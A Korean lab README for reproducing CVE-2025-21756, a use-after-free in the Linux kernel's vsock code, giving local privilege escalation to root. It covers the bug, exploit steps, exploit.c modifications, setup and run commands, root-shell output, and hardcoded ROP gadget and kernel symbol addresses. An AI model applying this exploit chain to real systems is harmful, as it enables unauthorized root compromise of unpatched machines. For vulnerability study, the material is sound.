
자동화된 설정 및 ROP 체인 분석과 함께 Linux 커널의 vsock 하위 시스템에서 use-after-free(UAF) 익스플로잇을 통해 루트로 로컬 권한 상승을 시연하는 교육용 랩.
교육 및 승인된 보안 연구 목적으로만 사용하십시오.
CVE-2025-21756은 2025년 2월 26일에 공개된 Linux 커널의 vsock(Virtual Socket) 서브시스템에서 발생하는 use-after-free (UAF) 취약점입니다. 이 취약점으로 인해 로컬 공격자가 영향을 받는 Linux 시스템에서 루트 권한 상승을 할 수 있습니다.
net/vmw_vsock/af_vsock.cvsock 소켓의 전송 재할당 중에 버그가 발생합니다. 취약한 시퀀스는 다음과 같습니다.
vsock_create()가 refcnt=2인 소켓을 생성하고 unbound list에 삽입합니다.transport->release()가 vsock_remove_bound()를 호출하는데, 소켓이 bound list로 이동되었는지 확인하지 않고 refcnt를 잘못 감소시킵니다.vsock_bind()는 소켓이 여전히 unbound list에 있다고 가정하고 _vsock_remove_bound()를 다시 호출합니다.refcnt가 조기에 0에 도달 → vsock 객체가 여전히 참조되고 있는 상태에서 해제됨 → UAFvoid vsock_remove_sock(struct vsock_sock *vsk)
{
- vsock_remove_bound(vsk);
+ if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+ vsock_remove_bound(vsk);
vsock_remove_connected(vsk);
}
connect()를 호출하면 vsock 객체가 vsock_bind_table에 여전히 연결된 상태에서 조기에 해제됩니다.unix_dgram_sendmsg와 order-2 메시지(MIGRATE_UNMOVABLE)를 사용하여 회수하고, 제어된 데이터로 채웁니다.vsock_diag_dump(AppArmor로 보호되지 않음)를 사이드 채널로 사용하여 페이지가 회수되었는지 감지하고 페이지 내에서 희생자 객체의 정확한 오프셋을 찾습니다.sk->sk_prot를 udp_prot+0x1c0(udp_abort)을 가리키도록 덮어씁니다. 이 포인터가 호출되면 sk->sk_error_report(sk)를 호출하며, 그 포인터는 스택 피봇 가젯으로 덮어씁니다.commit_creds(init_cred)를 실행하여 프로세스에 루트 자격 증명을 할당한 다음 KPTI 트램펄린을 통해 사용자 공간으로 돌아갑니다.execve("/bin/sh")를 uid=0으로 실행합니다.sudo 액세스 권한이 있는 일반 사용자# 설정 스크립트 다운로드
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh
# 루트가 아닌 일반 사용자로 실행
./setup-lab.sh
스크립트는 다음 작업을 자동으로 처리합니다:
sudo가 없으면 설치build-essential, qemu-system-x86, bc, pahole 등)lts-6.6.75, rootfs, ramdisk)run_lab.sh 생성cd ~/cve-2025-21756-lab
./run_lab.sh
환경이 부팅되면 내부에서 다음을 실행합니다.
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)
종료하려면: Ctrl-A X
기본 익스플로잇은 ktranowl의 것입니다. 이 환경에서 작동하도록 다음과 같은 수정 사항이 적용되었습니다.
수정: 커널 부팅 매개변수에 nokaslr 추가.
이유: 원본 익스플로잇은 EntryBleed라는 TLB 타이밍 사이드 채널 기술을 사용하여 KASLR을 우회합니다. 이 기술은 정확한 CPU 타이밍이 필요합니다. 중첩 가상화 환경에서는 rdtsc 정밀도가 EntryBleed가 안정적으로 작동하기에 충분하지 않아 잘못된 kbase가 생성되고, 이로 인해 ADDRESS()로 계산된 모든 주소가 잘못됩니다. KASLR을 비활성화하면 커널이 항상 0xffffffff81000000에 로드되고 익스플로잇의 하드코딩된 오프셋이 항상 올바르게 유지됩니다.
user_rip를 modeprobe_exec에서 check_root로 변경exploit.c의 수정 사항:
// 이전
uint64_t user_rip = (uint64_t)modeprobe_exec;
// 이후
uint64_t user_rip = (uint64_t)check_root;
이유: modeprobe_exec는 원본 익스플로잇에서 원격 kCTF 환경을 위한 권한 상승 기술입니다. 여기에는 명령줄 인수(원격 서버의 IP 및 포트)와 외부 네트워크 연결이 필요합니다. 이러한 인수가 없으면 argv[1]을 읽으려고 시도할 때 프로세스가 GPF로 중단됩니다. check_root는 uid를 직접 확인하고 /bin/sh를 실행하므로 로컬 환경에서 익스플로잇을 시연하는 데 충분합니다.
check_root 내부의 modeprobe_exec 호출 제거exploit.c의 수정 사항:
void check_root() {
if (getuid() == 0) {
puts("[*] I AM ROOT");
- modeprobe_exec(); // 제거됨
char binsh[] = "/bin/sh";
char* const argv[] = {binsh, NULL};
execve("/bin/sh", argv, 0);
}
}
이유: user_rip가 check_root를 가리키더라도 이 함수는 /bin/sh를 실행하기 전에 내부적으로 modeprobe_exec를 다시 호출했습니다. 필요한 인수가 없으면 해당 호출이 GPF를 발생시키고, commit_creds가 이미 권한 상승을 성공적으로 수행했음에도 불구하고 셸을 열지 않고 프로세스가 종료되었습니다.
랩 설정 과정에서 모든 커널 심볼과 ROP 가젯이 공식 kCTF lts-6.6.75 커널을 기준으로 검증되어 이 환경에 유효함을 확인했습니다.
익스플로잇에 사용된 세 가지 가젯은 vmlinux 바이너리에서 ROPgadget을 사용하여 추출되었으며, 하드코딩된 값과 정확히 일치하는 것으로 확인되었습니다.
이들 중 수정이 필요한 것은 없었습니다.
다음 심볼은 커널 내부의 /proc/kallsyms를 통해 확인되었습니다 (nokaslr로 인해 오프셋이 고정됨).
모든 값이 익스플로잇의 원본과 일치했습니다. 수정이 필요하지 않았습니다.
address_contain_udp_abort에 대한 참고이 값은 udp_abort 함수를 직접 가리키지 않습니다. struct proto 내부의 diag_destroy 필드인 udp_prot + 0x1c0을 가리킵니다. 이는 의도적인 것입니다. vsock_release는 sk->sk_prot->close(sk, 0)을 호출합니다. 여기서 close는 struct proto의 오프셋 0에 있습니다. sk_prot를 udp_prot의 시작 대신 udp_prot->diag_destroy를 가리키도록 하면 커널은 diag_destroy를 마치 close 포인터인 것처럼 읽게 되어 udp_abort를 포함하게 됩니다. 이는 로 연결되고, 여기서 스택 피봇 가젯이 배치됩니다.
vsock_release(sk)
└── sk->sk_prot->close(sk) ← sk_prot가 udp_prot+0x1c0을 가리킴
└── udp_abort(sk) ← diag_destroy 필드, close()로 읽힘
└── sk_error_report(sk)
└── sk->sk_error_report(sk) ← 스택 피봇 가젯
└── ROP 체인
└── commit_creds(init_cred)
└── kpti_trampoline → 루트 셸
공식 패치는 커널 6.14-rc1부터 사용 가능하며 유지 관리되는 모든 LTS 브랜치에 백포트되었습니다. 영향을 받는 배포판은 자체 권고를 발표했습니다.
이 도구는 교육 목적과 승인된 보안 테스트만을 위해 제공됩니다. 귀하가 소유하지 않거나 명시적인 서면 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다. 저자는 어떠한 오용에 대해서도 책임을 지지 않습니다.
| 가젯 | 주소 | 목적 |
|---|
pop rax ; and eax, ... ; pop rsp ; jmp ... | 0xffffffff8122ad32 | 스택 피봇 — RSP를 제어된 vsock 객체의 시작 위치로 이동 |
add rsp, 0xb8 ; jmp ... | 0xffffffff8170292c | 스택 전진 — 예약된 필드를 건너뛰어 ROP 체인에 도달 |
pop rdi ; ret | 0xffffffff8115e4f9 | commit_creds(init_cred)의 첫 번째 인수 로드 |
| 심볼 | 주소 | 참고 |
|---|
vsock_bind_table[0x7a] | 0xffffffff84bc6280 | 사이드 채널 앵커 — 희생자 객체가 위치하는 vsock 리스트 슬롯 |
init_net | 0xffffffff84bb1f80 | vsock_diag_dump를 통해 가짜 vsock 객체의 유효성 검사에 사용 |
commit_creds | 0xffffffff811fdac0 | 현재 프로세스에 루트 자격 증명 할당 |
init_cred | 0xffffffff83c74d80 | uid=gid=0인 자격 증명 구조, 커널 베이스로부터 고정 오프셋 |
kpti_trampoline | 0xffffffff826011a6 | swapgs_restore_regs_and_return_to_usermode+0x36 — CR3 복원 및 사용자 공간으로 복귀 |
address_contain_udp_abort | 0xffffffff83ef28e0 | udp_prot + 0x1c0 — 아래 참고 참조 |
sk_error_report(sk)| 측면 | 원본 (ktranowl) | 이 랩 |
|---|
| KASLR 우회 | EntryBleed (TLB 타이밍) | 비활성화 (nokaslr) |
| 권한 상승 기술 | core_pattern을 통한 modeprobe_exec | 직접 execve("/bin/sh") |
| 대상 환경 | 원격 kCTF | 로컬 |
| 외부 연결 필요 | 예 | 아니요 |
| 리소스 | URL |
|---|